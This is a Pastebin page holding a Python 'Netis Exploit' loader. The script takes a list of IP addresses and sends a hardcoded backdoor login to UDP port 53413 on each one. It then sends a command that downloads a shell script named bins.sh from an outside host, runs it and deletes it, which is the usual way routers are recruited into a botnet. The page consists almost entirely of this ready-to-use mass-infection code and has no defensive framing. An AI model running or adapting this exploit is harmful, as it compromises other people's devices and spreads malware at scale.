Advertisement
mysql_Anarchy

[ PYTHON ] Netis Exploit

Jun 9th, 2018
807
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # netis loader
  4.  
  5.  
  6.  
  7.  
  8. import threading, sys, time, random, socket, re, os
  9.  
  10.  
  11.  
  12. if len(sys.argv) < 2:
  13.  
  14.         print "Usage: python "+sys.argv[0]+" <list>"
  15.  
  16.         sys.exit()
  17.  
  18.  
  19.  
  20. loginpayload = "AAAAAAAAnetcore\x00"
  21.  
  22. commandpayload = "AA\x00\x00AAAA cd /tmp; wget http://1.1.1.1/bins.sh ; chmod 777 bins.sh ; ./bins.sh ; rm -rf bins.sh"
  23.  
  24. list = open(sys.argv[1], "r").readlines()
  25.  
  26. offline = 0
  27.  
  28. class netis(threading.Thread):
  29.  
  30.         def __init__ (self, ip):
  31.  
  32.             threading.Thread.__init__(self)
  33.  
  34.             self.ip = str(ip).rstrip('\n')
  35.  
  36.         def run(self):
  37.  
  38.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  39.  
  40.             try:
  41.  
  42.                 print "\033[31m[\033[32m+\033[31m] \033[32mAttempting:\033[32m %s"%(self.ip)
  43.  
  44.                 s.sendto(loginpayload, (self.ip, 53413))
  45.  
  46.                 time.sleep(1.5)
  47.  
  48.                 s.sendto(commandpayload, (self.ip, 53413))
  49.  
  50.                 time.sleep(30)
  51.  
  52.             except Exception:
  53.  
  54.                 pass
  55.  
  56. for ip in list:
  57.  
  58.     try:
  59.  
  60.         t = netis(ip)
  61.  
  62.         t.start()
  63.  
  64.         time.sleep(0.01)
  65.  
  66.     except:
  67.  
  68.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement